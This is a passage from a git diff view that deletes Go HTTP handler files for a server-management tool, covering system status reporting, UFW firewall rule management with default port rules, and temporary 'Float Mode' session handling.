|
|
||||||
if info.DiskTotal == "" && len(disks) > 0 {
|
|
||||||
d := disks[0]
|
|
||||||
info.DiskTotal = d.Size
|
|
||||||
info.DiskUsed = d.Used
|
|
||||||
pct := strings.TrimSuffix(d.UsePercent, "%")
|
|
||||||
info.DiskPercent, _ = strconv.ParseFloat(pct, 64)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Site count
|
|
||||||
if sites, err := h.DB.ListSites(); err == nil {
|
|
||||||
info.SiteCount = len(sites)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Services
|
|
||||||
services := []struct{ name, unit string }{
|
|
||||||
{"Nginx", "nginx"},
|
|
||||||
{"AUTARCH Web", "autarch-web"},
|
|
||||||
{"AUTARCH DNS", "autarch-dns"},
|
|
||||||
{"Setec Manager", "setec-manager"},
|
|
||||||
}
|
|
||||||
for _, svc := range services {
|
|
||||||
si := serviceInfo{Name: svc.name}
|
|
||||||
active, err := deploy.IsActive(svc.unit)
|
|
||||||
if err == nil && active {
|
|
||||||
si.Status = "active"
|
|
||||||
si.Running = true
|
|
||||||
} else {
|
|
||||||
si.Status = "inactive"
|
|
||||||
si.Running = false
|
|
||||||
}
|
|
||||||
info.Services = append(info.Services, si)
|
|
||||||
}
|
|
||||||
|
|
||||||
return info
|
|
||||||
}
|
|
||||||
|
|
||||||
func formatBytes(b float64) string {
|
|
||||||
units := []string{"B", "KB", "MB", "GB", "TB"}
|
|
||||||
i := 0
|
|
||||||
for b >= 1024 && i < len(units)-1 {
|
|
||||||
b /= 1024
|
|
||||||
i++
|
|
||||||
}
|
|
||||||
return strconv.FormatFloat(b, 'f', 1, 64) + " " + units[i]
|
|
||||||
}
|
|
||||||
|
|
||||||
// uptimeSince returns a human-readable duration.
|
|
||||||
func uptimeSince(d time.Duration) string {
|
|
||||||
days := int(d.Hours()) / 24
|
|
||||||
hours := int(d.Hours()) % 24
|
|
||||||
mins := int(d.Minutes()) % 60
|
|
||||||
|
|
||||||
if days > 0 {
|
|
||||||
return strconv.Itoa(days) + "d " + strconv.Itoa(hours) + "h " + strconv.Itoa(mins) + "m"
|
|
||||||
}
|
|
||||||
if hours > 0 {
|
|
||||||
return strconv.Itoa(hours) + "h " + strconv.Itoa(mins) + "m"
|
|
||||||
}
|
|
||||||
return strconv.Itoa(mins) + "m"
|
|
||||||
}
|
|
||||||
@ -1,184 +0,0 @@
|
|||||||
package handlers
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"net/http"
|
|
||||||
|
|
||||||
"setec-manager/internal/system"
|
|
||||||
)
|
|
||||||
|
|
||||||
type firewallRule struct {
|
|
||||||
ID int64 `json:"id"`
|
|
||||||
Direction string `json:"direction"`
|
|
||||||
Protocol string `json:"protocol"`
|
|
||||||
Port string `json:"port"`
|
|
||||||
Source string `json:"source"`
|
|
||||||
Action string `json:"action"`
|
|
||||||
Comment string `json:"comment"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type firewallStatus struct {
|
|
||||||
Enabled bool `json:"enabled"`
|
|
||||||
Rules []firewallRule `json:"rules"`
|
|
||||||
UFWOut string `json:"ufw_output"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) FirewallList(w http.ResponseWriter, r *http.Request) {
|
|
||||||
status := h.getFirewallStatus()
|
|
||||||
if acceptsJSON(r) {
|
|
||||||
writeJSON(w, http.StatusOK, status)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
h.render(w, "firewall.html", status)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) FirewallStatus(w http.ResponseWriter, r *http.Request) {
|
|
||||||
writeJSON(w, http.StatusOK, h.getFirewallStatus())
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) FirewallAddRule(w http.ResponseWriter, r *http.Request) {
|
|
||||||
var rule firewallRule
|
|
||||||
if err := json.NewDecoder(r.Body).Decode(&rule); err != nil {
|
|
||||||
rule.Port = r.FormValue("port")
|
|
||||||
rule.Protocol = r.FormValue("protocol")
|
|
||||||
rule.Source = r.FormValue("source")
|
|
||||||
rule.Action = r.FormValue("action")
|
|
||||||
rule.Comment = r.FormValue("comment")
|
|
||||||
}
|
|
||||||
|
|
||||||
if rule.Port == "" {
|
|
||||||
writeError(w, http.StatusBadRequest, "port is required")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if rule.Protocol == "" {
|
|
||||||
rule.Protocol = "tcp"
|
|
||||||
}
|
|
||||||
if rule.Action == "" {
|
|
||||||
rule.Action = "allow"
|
|
||||||
}
|
|
||||||
if rule.Source == "" {
|
|
||||||
rule.Source = "any"
|
|
||||||
}
|
|
||||||
|
|
||||||
ufwRule := system.UFWRule{
|
|
||||||
Port: rule.Port,
|
|
||||||
Protocol: rule.Protocol,
|
|
||||||
Source: rule.Source,
|
|
||||||
Action: rule.Action,
|
|
||||||
Comment: rule.Comment,
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := system.FirewallAddRule(ufwRule); err != nil {
|
|
||||||
writeError(w, http.StatusInternalServerError, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Save to DB
|
|
||||||
h.DB.Conn().Exec(`INSERT INTO firewall_rules (direction, protocol, port, source, action, comment)
|
|
||||||
VALUES (?, ?, ?, ?, ?, ?)`, "in", rule.Protocol, rule.Port, rule.Source, rule.Action, rule.Comment)
|
|
||||||
|
|
||||||
writeJSON(w, http.StatusCreated, map[string]string{"status": "rule added"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) FirewallDeleteRule(w http.ResponseWriter, r *http.Request) {
|
|
||||||
id, err := paramInt(r, "id")
|
|
||||||
if err != nil {
|
|
||||||
writeError(w, http.StatusBadRequest, "invalid id")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Get rule from DB to build delete command
|
|
||||||
var port, protocol, action string
|
|
||||||
err = h.DB.Conn().QueryRow(`SELECT port, protocol, action FROM firewall_rules WHERE id=?`, id).
|
|
||||||
Scan(&port, &protocol, &action)
|
|
||||||
if err != nil {
|
|
||||||
writeError(w, http.StatusNotFound, "rule not found")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
system.FirewallDeleteRule(system.UFWRule{
|
|
||||||
Port: port,
|
|
||||||
Protocol: protocol,
|
|
||||||
Action: action,
|
|
||||||
})
|
|
||||||
h.DB.Conn().Exec(`DELETE FROM firewall_rules WHERE id=?`, id)
|
|
||||||
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "rule deleted"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) FirewallEnable(w http.ResponseWriter, r *http.Request) {
|
|
||||||
if err := system.FirewallEnable(); err != nil {
|
|
||||||
writeError(w, http.StatusInternalServerError, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "enabled"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) FirewallDisable(w http.ResponseWriter, r *http.Request) {
|
|
||||||
if err := system.FirewallDisable(); err != nil {
|
|
||||||
writeError(w, http.StatusInternalServerError, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "disabled"})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) getFirewallStatus() firewallStatus {
|
|
||||||
status := firewallStatus{}
|
|
||||||
|
|
||||||
enabled, _, raw, _ := system.FirewallStatus()
|
|
||||||
status.UFWOut = raw
|
|
||||||
status.Enabled = enabled
|
|
||||||
|
|
||||||
// Load rules from DB
|
|
||||||
rows, err := h.DB.Conn().Query(`SELECT id, direction, protocol, port, source, action, comment
|
|
||||||
FROM firewall_rules WHERE enabled=TRUE ORDER BY id`)
|
|
||||||
if err == nil {
|
|
||||||
defer rows.Close()
|
|
||||||
for rows.Next() {
|
|
||||||
var rule firewallRule
|
|
||||||
rows.Scan(&rule.ID, &rule.Direction, &rule.Protocol, &rule.Port,
|
|
||||||
&rule.Source, &rule.Action, &rule.Comment)
|
|
||||||
status.Rules = append(status.Rules, rule)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return status
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) InstallDefaultFirewall() error {
|
|
||||||
// Set default policies
|
|
||||||
system.FirewallSetDefaults("deny", "allow")
|
|
||||||
|
|
||||||
// Add default rules
|
|
||||||
defaultRules := []system.UFWRule{
|
|
||||||
{Port: "22", Protocol: "tcp", Action: "allow", Comment: "SSH"},
|
|
||||||
{Port: "80", Protocol: "tcp", Action: "allow", Comment: "HTTP"},
|
|
||||||
{Port: "443", Protocol: "tcp", Action: "allow", Comment: "HTTPS"},
|
|
||||||
{Port: "9090", Protocol: "tcp", Action: "allow", Comment: "Setec Manager"},
|
|
||||||
{Port: "8181", Protocol: "tcp", Action: "allow", Comment: "AUTARCH Web"},
|
|
||||||
{Port: "53", Protocol: "", Action: "allow", Comment: "AUTARCH DNS"},
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, rule := range defaultRules {
|
|
||||||
system.FirewallAddRule(rule)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Enable the firewall
|
|
||||||
system.FirewallEnable()
|
|
||||||
|
|
||||||
// Record in DB
|
|
||||||
dbRules := []firewallRule{
|
|
||||||
{Port: "22", Protocol: "tcp", Action: "allow", Comment: "SSH"},
|
|
||||||
{Port: "80", Protocol: "tcp", Action: "allow", Comment: "HTTP"},
|
|
||||||
{Port: "443", Protocol: "tcp", Action: "allow", Comment: "HTTPS"},
|
|
||||||
{Port: "9090", Protocol: "tcp", Action: "allow", Comment: "Setec Manager"},
|
|
||||||
{Port: "8181", Protocol: "tcp", Action: "allow", Comment: "AUTARCH Web"},
|
|
||||||
{Port: "53", Protocol: "tcp", Action: "allow", Comment: "AUTARCH DNS"},
|
|
||||||
}
|
|
||||||
for _, rule := range dbRules {
|
|
||||||
h.DB.Conn().Exec(`INSERT OR IGNORE INTO firewall_rules (direction, protocol, port, source, action, comment)
|
|
||||||
VALUES ('in', ?, ?, 'any', ?, ?)`, rule.Protocol, rule.Port, rule.Action, rule.Comment)
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
@ -1,66 +0,0 @@
|
|||||||
package handlers
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"net/http"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/google/uuid"
|
|
||||||
)
|
|
||||||
|
|
||||||
func (h *Handler) FloatRegister(w http.ResponseWriter, r *http.Request) {
|
|
||||||
if !h.Config.Float.Enabled {
|
|
||||||
writeError(w, http.StatusServiceUnavailable, "Float Mode is disabled")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var body struct {
|
|
||||||
UserAgent string `json:"user_agent"`
|
|
||||||
}
|
|
||||||
json.NewDecoder(r.Body).Decode(&body)
|
|
||||||
|
|
||||||
// Parse TTL
|
|
||||||
ttl, err := time.ParseDuration(h.Config.Float.SessionTTL)
|
|
||||||
if err != nil {
|
|
||||||
ttl = 24 * time.Hour
|
|
||||||
}
|
|
||||||
|
|
||||||
sessionID := uuid.New().String()
|
|
||||||
clientIP := r.RemoteAddr
|
|
||||||
|
|
||||||
if err := h.DB.CreateFloatSession(sessionID, 0, clientIP, body.UserAgent, time.Now().Add(ttl)); err != nil {
|
|
||||||
writeError(w, http.StatusInternalServerError, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
writeJSON(w, http.StatusCreated, map[string]string{
|
|
||||||
"session_id": sessionID,
|
|
||||||
"expires_in": h.Config.Float.SessionTTL,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) FloatSessions(w http.ResponseWriter, r *http.Request) {
|
|
||||||
// Clean expired sessions first
|
|
||||||
h.DB.CleanExpiredFloatSessions()
|
|
||||||
|
|
||||||
sessions, err := h.DB.ListFloatSessions()
|
|
||||||
if err != nil {
|
|
||||||
writeError(w, http.StatusInternalServerError, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if acceptsJSON(r) {
|
|
||||||
writeJSON(w, http.StatusOK, sessions)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
h.render(w, "float.html", sessions)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *Handler) FloatDisconnect(w http.ResponseWriter, r *http.Request) {
|
|
||||||
id := paramStr(r, "id")
|
|
||||||
if err := h.DB.DeleteFloatSession(id); err != nil {
|
|
||||||
writeError(w, http.StatusInternalServerError, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
writeJSON(w, http.StatusOK, map[string]string{"status": "disconnected"})
|
|
||||||
}
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user